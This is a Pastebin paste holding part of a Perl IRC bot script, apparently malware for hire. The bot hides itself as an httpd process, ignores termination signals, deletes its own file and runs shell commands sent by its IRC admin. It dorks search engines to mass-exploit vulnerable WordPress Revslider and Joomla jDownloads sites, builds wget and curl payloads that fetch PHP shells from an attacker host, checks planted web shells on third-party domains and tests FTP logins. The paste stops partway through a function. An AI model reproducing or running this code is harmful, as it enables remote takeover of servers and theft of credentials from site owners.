API tools faq
paste
Guest User

Untitled

a guest
Aug 8th, 2016
297
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 178.70 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16. #use DBI;
  17.  
  18. my $number = int( rand(9) );
  19. my $datetime = localtime;
  20. my $fakeproc = "/usr/sbin/httpd";
  21. my $ircserver = "thulcandra.otherworlders.org";
  22. my $ircport = "6667";
  23. my $nickname = "fagdon";
  24. my $ident = "zoot";
  25. my $channel = "#tag";
  26. my $chanxxx = "#flash";
  27. my $admin = "fagdon";
  28. my $fullname = "4,1o8w14n11:D";
  29. my $rawmsg = $ARGV[4];
  30. my $msgraw = $ARGV[5];
  31.  
  32. my $nob0dy = "4,1Revolt8OWN14PRIVATE112015";
  33. my $revlogo = "4,1[8+4]11Revslider 4<9=4>9";
  34. my $jomlogo = "4,1[8+4]11jDownloads 4<9=4>9";
  35.  
  36. my $revcmd = "!re";
  37. my $jomcmd = "!jo";
  38.  
  39. my $timot = 10;
  40. my $zip = "revslider.zip";
  41. my $upl = "$zip";
  42. my $ngilang = "rm -rf";
  43. qx($ngilang $0);
  44. my $silentmode = 1;
  45.  
  46. my $rceinjector = "http://tmt-g.point.bg/wp-content/plugins/akismet/rce.php";
  47. my $rceinjector2 = "http://pctechcare.co.uk/wp-includes/js/thickbox/rce.php";
  48. #my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php";
  49. #my $hostinjector = "wordpress.com.longlifeweld.com.my";
  50. my $thumbid = "http://".$hostinjector."/petx.php";
  51. my $thumbidx = "http://".$hostinjector."/cpx.php";
  52. my $md5php = md5_hex($thumbid).".php";
  53. my $md5cps = md5_hex($thumbidx).".php";
  54. my $timid = uri_escape($thumbid);
  55. my $timidx = uri_escape($thumbidx);
  56.  
  57. my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
  58. my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
  59. my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
  60.  
  61. my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
  62. sub randomagent {
  63. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  64. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  65. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  66. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  67. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  68. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  69. );
  70. my $random = $array[rand @array];
  71. return($random);
  72. }
  73. my $useragent = randomagent();
  74.  
  75. my $jpath = "?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  76. my $jpath1 = "https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  77.  
  78. my $jack1 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
  79. my $jack2 = "http://www.tphschool.ac.th/images/4nt-crew2.php?q=";
  80. my $jack3 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
  81. my $jack4 = "http://www.dingzhihunsha.cn/4nt-crew4.php?q=";
  82. my $jack5 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
  83. my $jack6 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
  84. my $jack7 = "http://brainstormers.eu/wp-admin/4nt-crew7.php?q=";
  85. my $jack8 = "http://www.tphschool.ac.th/images/4nt-crew2.php?q=";
  86. my $jack9 = "http://2gym-ptolem.koz.sch.gr/gr2/images/4nt-crew1.php?q=";
  87. my $jack10 = "http://utopiggz.nl/wp-admin/4nt-crew10.php?q=";
  88. my $engine = "GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz";
  89.  
  90. $SIG{'INT'} = 'IGNORE';
  91. $SIG{'HUP'} = 'IGNORE';
  92. $SIG{'TERM'} = 'IGNORE';
  93. $SIG{'CHLD'} = 'IGNORE';
  94. $SIG{'PS'} = 'IGNORE';
  95. #chdir("/tmp");
  96. #chop (my $priper = `wget http://192.165.67.149/tests/revslider.zip;killall -9 sh;history -c`);
  97. $ircserver = "$ARGV[0]" if $ARGV[0];
  98. $ircport = "$ARGV[1]" if $ARGV[1];
  99. $nickname = "$ARGV[2]" if $ARGV[2];
  100. $channel = '#'."$ARGV[3]" if $ARGV[3];
  101. $0 = "$fakeproc"."\0" x 16;
  102. my $pid = fork;
  103. exit if $pid;
  104. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  105.  
  106. our %irc_servers;
  107. our %DCC;
  108. my $dcc_sel = new IO::Select->new();
  109. $sel_client = IO::Select->new();
  110. sub sendraw {
  111. if ($#_ == '1') {
  112. my $socket = $_[0];
  113. print $socket "$_[1]\n";
  114. } else {
  115. print $IRC_cur_socket "$_[0]\n";
  116. }
  117. }
  118. sub connector {
  119. my $mynick = $_[0];
  120. my $ircserver_con = $_[1];
  121. my $ircport_con = $_[2];
  122. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  123. if (defined($IRC_socket)) {
  124. $IRC_cur_socket = $IRC_socket;
  125. $IRC_socket->autoflush(1);
  126. $sel_client->add($IRC_socket);
  127. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  128. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  129. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  130. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  131. nick("$mynick");
  132. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  133. sleep(1);}}
  134.  
  135. sub parse {
  136. my $servarg = shift;
  137. if ($servarg =~ /^PING \:(.*)/) {
  138. sendraw("PONG :$1");
  139. }
  140. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  141. if (lc($1) eq lc($mynick)) {
  142. $mynick = $4;
  143. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  144. }
  145. }
  146. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  147. nick($mynick.int(rand(5)));
  148. }
  149. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  150. $mynick = $2;
  151. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  152. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  153. sendraw("NickServ IDENTIFY petbot");
  154. sendraw("MODE $mynick +R");
  155. sendraw("MODE $mynick +Bx");
  156. sendraw("NS id qwe123");
  157. sleep(3);
  158. sendraw("JOIN $channel correct");
  159. sendraw("JOIN $chanxxx mejen");
  160. sleep(1);
  161. sendraw("PRIVMSG $channel :4Connection Successful");
  162. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  163. }
  164. }
  165.  
  166. my $line_temp;
  167. while( 1 ) {
  168. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  169. select(undef, undef, undef, 0.01);
  170. delete($irc_servers{''}) if (defined($irc_servers{''}));
  171. my @ready = $sel_client->can_read(0);
  172. next unless(@ready);
  173. foreach $fh (@ready) {
  174. $IRC_cur_socket = $fh;
  175. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  176. $nread = sysread($fh, $ircmsg, 4096);
  177. if ($nread == 0) {
  178. $sel_client->remove($fh);
  179.  
  180. $fh->close;
  181. delete($irc_servers{$fh});
  182. }
  183. @lines = split (/\n/, $ircmsg);
  184. $ircmsg =~ s/\r\n$//;
  185. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  186. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  187. if ($path eq $mynick) {
  188. if ($msg =~ /^PING (.*)/) {
  189. sendraw("NOTICE $nick :PING $1");
  190. }
  191. if ($msg =~ /^VERSION/) {
  192. sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");
  193. }
  194. if ($msg =~ /^TIME/) {
  195. sendraw("NOTICE $nick :TIME ".$datetime."");
  196. }
  197. if (&isAdmin($nick) && $msg eq "!die") {
  198. &shell("$path","kill -9 $$");
  199. }
  200. if (&isAdmin($nick) && $msg eq "!killall") {
  201. &shell("$path","killall -9 perl");
  202. }
  203. if (&isAdmin($nick) && $msg eq "!reset") {
  204. sendraw("QUIT :Restarting...");
  205. }
  206. if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
  207. sendraw("JOIN #".$1);
  208. }
  209. if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
  210. sendraw("PART #".$1);
  211. }
  212. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  213. sendraw("NICK ".$1);
  214. }
  215. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  216. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  217. }
  218. if (&isAdmin($nick) && $msg !~ /^!/) {
  219. &shell("$nick","$msg");
  220. }
  221. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  222. sendraw("$rawmsg $msgraw ".$1);
  223. }
  224. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  225. sendraw("PRIVMSG $rawmsg ".$1);
  226. }
  227. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  228. sendraw("PRIVMSG $rawmsg :ACTION ".$1."");
  229. }
  230. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  231. $newtimot = $1;
  232. $timot = $newtimot;
  233. &msg("$admin","9,1 Get Content TimeOut change to4 $timot ");
  234. }
  235. if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  236. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  237. $newchan = $1;
  238. $chanxxx = $newchan;
  239. &msg("$admin","9,1 xChan change to4 $chanxxx ");
  240. }}}
  241. }
  242. else {
  243. if (&isAdmin($nick) && $msg eq "!die") {
  244. &shell("$path","kill -9 $$");
  245. }
  246. if (&isAdmin($nick) && $msg eq "!killall") {
  247. &shell("$path","killall -9 perl");
  248. }
  249. if (&isAdmin($nick) && $msg eq "!reset") {
  250. sendraw("QUIT :Restarting...");
  251. }
  252. if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
  253. sendraw("JOIN #".$1);
  254. }
  255. if (&isAdmin($nick) && $msg eq "!partx") {
  256. sendraw("PART $path");
  257. }
  258. if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
  259. sendraw("PART #".$1);
  260. }
  261. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  262. &shell("$path","$1");
  263. }
  264. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  265. &shell("$path","$1");
  266. }
  267. if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) {
  268. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  269. $smod = $1;
  270. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  271. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  272. &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!");
  273. }}}
  274. ##################################################################### HELP COMMAND
  275. if ($msg=~ /^!help/) {
  276. &msg("$path","$revlogo Revslider Scan:15 $revcmd 14[dork] ");
  277. &msg("$path","$jomlogo Jdownloads Scan:15 $jomcmd 14[dork] ");
  278. &msg("$path","5,1¤4»3[4!3]4«5¤7 ( Auto Get FTP/cPanel + Auto Check FTP/cPanel )");
  279. &msg("$path","5,1¤4»3[4!3]4«5¤7 Rent this bot 20 PM/3 Days 8Contact ID: $admin ");
  280. }
  281. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  282. &msg("$nick","6Fake Process/PID : $fakeproc - $$");
  283. }
  284. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  285. $inject1 = "";
  286. $inject2 = "";
  287. $inject3 = "";
  288. $inject4 = "";
  289. my $cekby1 = &get_content($rceinjector);
  290. #my $cekby2 = &get_content($thumbid);
  291. #my $cekby3 = &get_content($arbitrary);
  292. my $cekby4 = &get_content($rceinjector2);
  293. if ($cekby1 =~ /roin SHeLL/i){ $inject1 = "9Ready!!!"; } else { $inject1 = "4Lost!!!"; }
  294. #if ($cekby2 =~ /GIF89a/i){ $inject2 = "9Ready!!!"; } else { $inject2 = "4Lost!!!"; }
  295. #if ($cekby3 =~ /BArNEr/i){ $inject3 = "9Ready!!!"; } else { $inject3 = "4Lost!!!"; }
  296. if ($cekby4 =~ /BArNEr/i){ $inject4 = "9Ready!!!"; } else { $inject4 = "4Lost!!!"; }
  297. #&msg("$path","12Injector Checker");
  298. &msg("$path","12RCE Injector : $inject1");
  299. #&msg("$path","12Timthumb Injector : $inject2");
  300. #&msg("$path","12Arbitrary Injector : $inject3");
  301. &msg("$path","12RCE Injector2 : $inject4");
  302. }
  303. if (&isAdmin($nick) && $msg =~ /^!bypass/){
  304. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  305. my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";
  306. my $cekby1 = &get_content($jack1."search");
  307. if ($cekby1 =~ /search/i){ $bystats1 = "9Up!!!"; } else { $bystats1 = "4lost!!!"; }
  308. my $cekby2 = &get_content($jack2."search");
  309. if ($cekby2 =~ /search/i){ $bystats2 = "9Up!!!"; } else { $bystats2 = "4lost!!!"; }
  310. my $cekby3 = &get_content($jack3."search");
  311. if ($cekby3 =~ /search/i){ $bystats3 = "9Up!!!"; } else { $bystats3 = "4lost!!!"; }
  312. my $cekby4 = &get_content($jack4."search");
  313. if ($cekby4 =~ /search/i){ $bystats4 = "9Up!!!"; } else { $bystats4 = "4lost!!!"; }
  314. my $cekby5 = &get_content($jack5."search");
  315. if ($cekby5 =~ /search/i){ $bystats5 = "9Up!!!"; } else { $bystats5 = "4lost!!!"; }
  316. my $cekby6 = &get_content($jack6."search");
  317. if ($cekby6 =~ /search/i){ $bystats6 = "9Up!!!"; } else { $bystats6 = "4lost!!!"; }
  318. my $cekby7 = &get_content($jack7."search");
  319. if ($cekby7 =~ /search/i){ $bystats7 = "9Up!!!"; } else { $bystats7 = "4lost!!!"; }
  320. &msg("$path","9,1[4!9]15ByPass1=$bystats1 15ByPass2=$bystats2 15ByPass3=$bystats3 15ByPass4=$bystats4 15ByPass5=$bystats5 15ByPass6=$bystats6 15ByPass7=$bystats7")
  321. }}}
  322. ##################################################################### SCAN
  323. if ($msg =~ /!cari\s+(.*)/) {
  324. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  325. my $find = $1;
  326. &msg($path,"$carilogo4 Searching 15$find ");
  327. &cari($path,$find);
  328. } exit; }
  329. }
  330.  
  331. if ($msg =~ /^$revcmd\s+(.*)/) {
  332. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  333. my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
  334. my $check = &read_dorks($dork);
  335. if ($check == 1) {
  336. &msg("$path","12$nick 4Re-scan detected"); exit;
  337. } else {
  338. &msg("$chanxxx","4$nick Scanning on 12$path");
  339. &msg("$channel","$revlogo 3Search Engine Loading ...");
  340. sendraw("MODE $path +m");
  341. &write_dorks($dork);
  342. &se_start($channel,$bug,$dork,$engine,1,$nick);
  343. }
  344. }
  345. }
  346. }
  347. if ($msg =~ /^$jomcmd\s+(.*)/) {
  348. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  349. my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
  350. &msg("$chanxxx","4,1Lapor3 $nick15,1 lagi scan Joomla di 4$path");
  351. &msg("$channel","$jomlogo 15Search Engine Loaded..");
  352. &se_start($channel,$bug,$dork,$engine,2,$nick);
  353. }
  354. }
  355. }
  356. if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  357. my $url = $_[0];
  358. my $host = $_[1];
  359. my $user = $_[2];
  360. my $pass = $_[3];
  361. if (my $pid = fork) {
  362. waitpid($pid, 0);
  363. } else {
  364. if (fork) { exit; } else {
  365. my ($host,$user,$pass) = ($1,$2,$3);
  366. &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  367. my $success = 1;
  368. use Net::FTP;
  369. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  370. $success = 0 if $ftp->login($user,$pass);
  371. $ftp->quit;
  372. if ($success == 0) {
  373. &notice("$nick","15 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  374. } else {
  375. &notice("$nick","15 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  376.  
  377. }
  378. }
  379. }
  380. }
  381. }
  382. }
  383. for(my $c=0; $c<= $#lines; $c++) {
  384. $line = $lines[$c];
  385. $line = $line_temp.$line if ($line_temp);
  386. $line_temp = '';
  387. $line =~ s/\r$//;
  388. unless ($c == $#lines) {
  389.  
  390. parse("$line");
  391. } else {
  392. if ($#lines == 0) {
  393. parse("$line");
  394. } elsif ($lines[$c] =~ /\r$/) {
  395. parse("$line");
  396. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  397. parse("$line");
  398. } else {
  399. $line_temp = $line;
  400. }
  401. }
  402. }
  403. }
  404. }
  405.  
  406. ##################################################################################
  407.  
  408. sub petx() {
  409. my $dork = $_[0];
  410. my @targets;
  411. for (my $st=0; $st<=1000 ; $st+=100){
  412. my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
  413. my $browser = &search_engine_query($engine);
  414. while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  415. my $target = $1;
  416. if ($target !~ /google|forum|stackoverflow|php\.net/) {
  417. my @sort = split(/\.php/,$target);
  418. push (@targets,$sort[0]);
  419. }
  420. }
  421. }
  422. return @targets;
  423. }
  424.  
  425. sub cari() {
  426. my $chan = $_[0];
  427. my $dork = $_[1];
  428. my $count = 0;
  429. my @kotor = &petx($dork);
  430. my @target = &clean(@kotor);
  431. my $num = scalar(@target); &msg($chan,"$carilogo4 Total 4[15$num4]9 sites");
  432. if ($num > 0) {
  433. foreach my $site(@target) {
  434. $count++;
  435. if ($count == $num-1) {
  436. &msg("$chan","$carilogo9Finished 15for 9$dork ");
  437. }
  438. my $test = "http://".$site.".php?src=".$thumbshell;
  439. if (my $pid = fork) { waitpid($pid, 0); } else {
  440. if (fork) { exit; } else {
  441. my $coba = &get_content($test);
  442. if ($coba =~ /Unable to open image/) {
  443. &msg($chan,"$carilogo4 VulN 4-> 15 http://".$site.".php ");
  444. }
  445. } exit;
  446. }
  447. }
  448. }
  449. }
  450.  
  451. sub type() {
  452. my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  453. if ($type == 1){$type=&revslider_exploit($chan,$bug,$dork,$engine,$nick);}
  454. elsif ($type == 2){$type=&jdownload($chan,$bug,$dork,$engine,$nick);}
  455. }
  456.  
  457. ##################################################################################
  458.  
  459. sub se_start() {
  460. my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
  461. if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } }
  462. if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } }
  463. if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } }
  464. if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } }
  465. if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } }
  466. if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } }
  467. if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } }
  468. if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } }
  469. if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } }
  470. if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } }
  471. if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } }
  472. if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } }
  473. if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } }
  474. if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } }
  475. if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } }
  476. if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } }
  477. if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } }
  478. if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } }
  479. if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } }
  480. if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } }
  481. if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } }
  482. if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } }
  483. if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } }
  484. if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } }
  485. if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } }
  486. if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } }
  487. if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } }
  488. if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } }
  489. if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } }
  490. if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } }
  491. if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } }
  492. if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } }
